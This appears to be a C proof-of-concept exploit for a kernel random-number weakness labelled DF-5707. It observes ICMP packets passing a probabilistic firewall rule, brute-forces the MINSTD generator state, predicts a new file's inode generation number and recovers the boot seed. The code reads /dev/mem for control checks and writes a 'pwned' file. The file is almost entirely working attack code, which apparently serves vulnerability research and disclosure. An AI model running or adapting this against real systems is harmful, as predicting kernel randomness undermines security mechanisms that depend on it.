/*
 * attack.c - DF-5707 end-to-end demonstration on one fork-free process:
 *
 *   1. OBSERVE : 60 ICMP echoes to 127.0.0.1 under
 *                "prob 0.5 deny icmp from any to any icmptypes 8 via lo0"
 *                outcome per packet: D (out-deny, 1 draw), T (in-deny,
 *                2 draws), R (delivered, 4 draws)  [calibrated on guest]
 *   2. RECOVER : exhaustive search of the 2^31-1 MINSTD states (6 threads)
 *                for the unique state consistent with the observation.
 *   3. STRIKE  : immediately create a file on the UFS filesystem: the kernel
 *                assigns inode generation i_gen = krandom()/2+1 (a draw from
 *                the recovered state).  Predict it BEFORE looking.
 *   4. SEED    : backward-walk the recovered state to the boot seed
 *                skrandom(ts.tv_sec ^ ts.tv_nsec) and forward-verify.
 *
 * usage: attack <bootsec> [attempts]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>

#define M 2147483647ULL
#define A 16807ULL
#define T 1073741824ULL            /* prob 0.5 threshold */
#define RSPHYS 0x1120c80

static int NP = 60;

static uint64_t rrs(int fd)
{
    uint64_t v = 0;
    if (pread(fd, &v, 8, RSPHYS) != 8) { perror("pread rs"); exit(1); }
    return v;
}

static unsigned short cksum(unsigned short *p, int n)
{
    unsigned long s = 0;
    while (n > 1) { s += *p++; n -= 2; }
    if (n) s += *(unsigned char *)p;
    s = (s >> 16) + (s & 0xffff); s += (s >> 16);
    return ~s;
}

/* ---------------- observation ---------------- */
static char obs[128];
static int nobs;
static uint64_t rs_before, rs_after;

static int observe(int mfd, int s)
{
    struct sockaddr_in dst;
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_addr.s_addr = inet_addr("127.0.0.1");
    rs_before = rrs(mfd);
    struct timespec ts = { 0, 2 * 1000000 };
    for (int i = 0; i < NP; i++) {
        char pkt[64];
        memset(pkt, 0, sizeof(pkt));
        struct icmp *icp = (struct icmp *)pkt;
        icp->icmp_type = ICMP_ECHO;
        icp->icmp_id = htons(0x5709);
        icp->icmp_seq = htons(i);
        icp->icmp_cksum = cksum((unsigned short *)pkt, 64);
        if (sendto(s, pkt, 64, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
            obs[i] = (errno == EACCES) ? 'D' : 'X';
        else
            obs[i] = 'T';
        nanosleep(&ts, NULL);
    }
    obs[NP] = 0;
    nobs = NP;
    struct timeval tv = { 0, 400000 };
    setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    for (;;) {
        char buf[128];
        struct sockaddr_in from; socklen_t fl = sizeof(from);
        ssize_t r = recvfrom(s, buf, sizeof(buf), 0,
                             (struct sockaddr *)&from, &fl);
        if (r < 0) break;
        struct icmp *icp = (struct icmp *)(buf + 20);
        if ((size_t)r >= 28 && icp->icmp_type == ICMP_ECHOREPLY &&
            icp->icmp_id == htons(0x5709)) {
            int seq = ntohs(icp->icmp_seq);
            if (seq >= 0 && seq < NP && obs[seq] == 'T') obs[seq] = 'R';
        }
    }
    rs_after = rrs(mfd);
    for (int i = 0; i < NP; i++) if (obs[i] == 'X') return -1;
    return 0;
}

/* ---------------- recovery ---------------- */
static int simulate(uint64_t s0)
{
    uint64_t s = s0;
    for (int i = 0; i < nobs; i++) {
        uint64_t d1 = (A * s) % M; s = d1;
        if (obs[i] == 'D') { if (d1 >= T) return 0; }
        else if (obs[i] == 'T') {
            if (d1 < T) return 0;
            uint64_t d2 = (A * s) % M; s = d2;
            if (d2 >= T) return 0;
        } else {                   /* 'R' */
            if (d1 < T) return 0;
            uint64_t d2 = (A * s) % M; s = d2;
            if (d2 < T) return 0;
            s = (A * s) % M;
            s = (A * s) % M;
        }
    }
    return 1;
}

struct range { uint64_t lo, hi; };
static struct range ranges[8];
static uint64_t founds[8];
static int nfound;
static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;

static void *worker(void *arg)
{
    struct range *r = arg;
    for (uint64_t s = r->lo; s <= r->hi && nfound < 2; s++)
        if (simulate(s)) {
            pthread_mutex_lock(&mtx);
            if (nfound < 8) founds[nfound] = s;
            nfound++;
            pthread_mutex_unlock(&mtx);
        }
    return NULL;
}

static uint64_t endstate(uint64_t s0)
{
    uint64_t s = s0;
    for (int i = 0; i < nobs; i++) {
        s = (A * s) % M;                                  /* d1 */
        if (obs[i] == 'T') s = (A * s) % M;
        else if (obs[i] == 'R') { s = (A * s) % M; s = (A * s) % M; }
    }
    return s;
}

static uint64_t invmod(uint64_t a, uint64_t m)
{
    int64_t t = 0, nt = 1, r = m, nr = a;
    while (nr) {
        int64_t q = r / nr, tmp;
        tmp = t - q * nt; t = nt; nt = tmp;
        tmp = r - q * nr; r = nr; nr = tmp;
    }
    if (t < 0) t += m;
    return (uint64_t)t;
}

int main(int argc, char **argv)
{
    uint64_t bootsec = argc > 1 ? strtoull(argv[1], NULL, 0) : 0;
    int maxatt = argc > 2 ? atoi(argv[2]) : 5;

    int mfd = open("/dev/mem", O_RDONLY);
    if (mfd < 0) { perror("/dev/mem"); return 1; }
    int s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (s < 0) { perror("socket"); return 1; }

    uint64_t match = 0, end = 0;
    for (int att = 0; att < maxatt; att++) {
        if (observe(mfd, s) < 0) { fprintf(stderr, "obs X\n"); continue; }
        int cD = 0, cT = 0, cR = 0;
        for (int i = 0; i < nobs; i++)
            cD += obs[i] == 'D', cT += obs[i] == 'T', cR += obs[i] == 'R';
        fprintf(stderr, "[attempt %d] obs=%s (D=%d T=%d R=%d) rs_before=%llu\n",
                att + 1, obs, cD, cT, cR, (unsigned long long)rs_before);
        nfound = 0;
        int nthr = 6;
        uint64_t span = (M - 1) / nthr;
        pthread_t th[8];
        for (int i = 0; i < nthr; i++) {
            ranges[i].lo = 1 + (uint64_t)i * span;
            ranges[i].hi = (i == nthr - 1) ? (M - 1) : ((uint64_t)(i + 1) * span);
            pthread_create(&th[i], NULL, worker, &ranges[i]);
        }
        for (int i = 0; i < nthr; i++) pthread_join(th[i], NULL);
        fprintf(stderr, "[attempt %d] matches=%d\n", att + 1, nfound);
        if (nfound == 1) { match = founds[0]; end = endstate(match); break; }
    }
    if (!match) { printf("RECOVERY-FAILED\n"); return 1; }

    printf("RECOVERED start=%llu end=%llu\n",
           (unsigned long long)match, (unsigned long long)end);
    printf("OBS=%s\n", obs);
    printf("RS-before-burst=%llu RS-after-burst=%llu\n",
           (unsigned long long)rs_before, (unsigned long long)rs_after);

    /* control: end must be a few steps before rs_after */
    {
        uint64_t s = end; int d = -1;
        for (int i = 0; i <= 8; i++) {
            if (s == rs_after) { d = i; break; }
            s = (A * s) % M;
        }
        printf("CONTROL end-to-rsafter dist=%d\n", d);
    }

    /* STRIKE: predict i_gen of the file we create right now */
    uint64_t ra = rrs(mfd);
    char path[64];
    snprintf(path, sizeof(path), "/mnt/final");
    int fd = open(path, O_CREAT | O_EXCL | O_WRONLY, 0644);
    if (fd < 0) { perror("open /mnt/pwned"); return 1; }
    write(fd, "pwned\n", 6);
    close(fd);
    uint64_t rb = rrs(mfd);
    struct stat st;
    stat(path, &st);
    printf("STRIKE file=%s ino=%llu ra=%llu rb=%llu\n", path,
           (unsigned long long)st.st_ino,
           (unsigned long long)ra, (unsigned long long)rb);
    {
        uint64_t s = ra;
        printf("PREDICTED-IGEN (from control ra):");
        for (int k = 1; k <= 16; k++) {
            s = (A * s) % M;
            printf(" k=%d:0x%llx", k, (unsigned long long)(s / 2 + 2));
        }
        printf("\n");
        uint64_t e2 = end;
        printf("PREDICTED-IGEN (attacker view, from recovered end):");
        for (int k = 1; k <= 16; k++) {
            e2 = (A * e2) % M;
            printf(" k=%d:0x%llx", k, (unsigned long long)(e2 / 2 + 2));
        }
        printf("\n");
        s = ra; int d = -1;
        for (int i = 0; i <= 8; i++) {
            if (s == rb) { d = i; break; }
            s = (A * s) % M;
        }
        printf("CONTROL ra-to-rb dist=%d (1 expected: the i_gen draw)\n", d);
    }

    /* SEED: walk back to boot seed */
    if (bootsec) {
        uint64_t ainv = invmod(A, M);
        uint64_t cur = end;
        for (long t = 1; t <= 20000; t++) {
            cur = (ainv * cur) % M;
            for (int dd = -10; dd <= 10; dd++) {
                uint64_t ns = (uint64_t)((int64_t)cur ^ (int64_t)(bootsec + dd));
                if (ns < 1000000000ULL) {
                    uint64_t f = ns;
                    for (long j = 0; j < t; j++) f = (A * f) % M;
                    if (f == end)
                        printf("SEED-FOUND t=%ld seed=%llu nsec=%llu bootsec=%lld\n",
                               t, (unsigned long long)ns,
                               (unsigned long long)(ns ^ (uint64_t)((int64_t)bootsec + dd)),
                               (long long)((int64_t)bootsec + dd));
                }
            }
        }
    }
    return 0;
}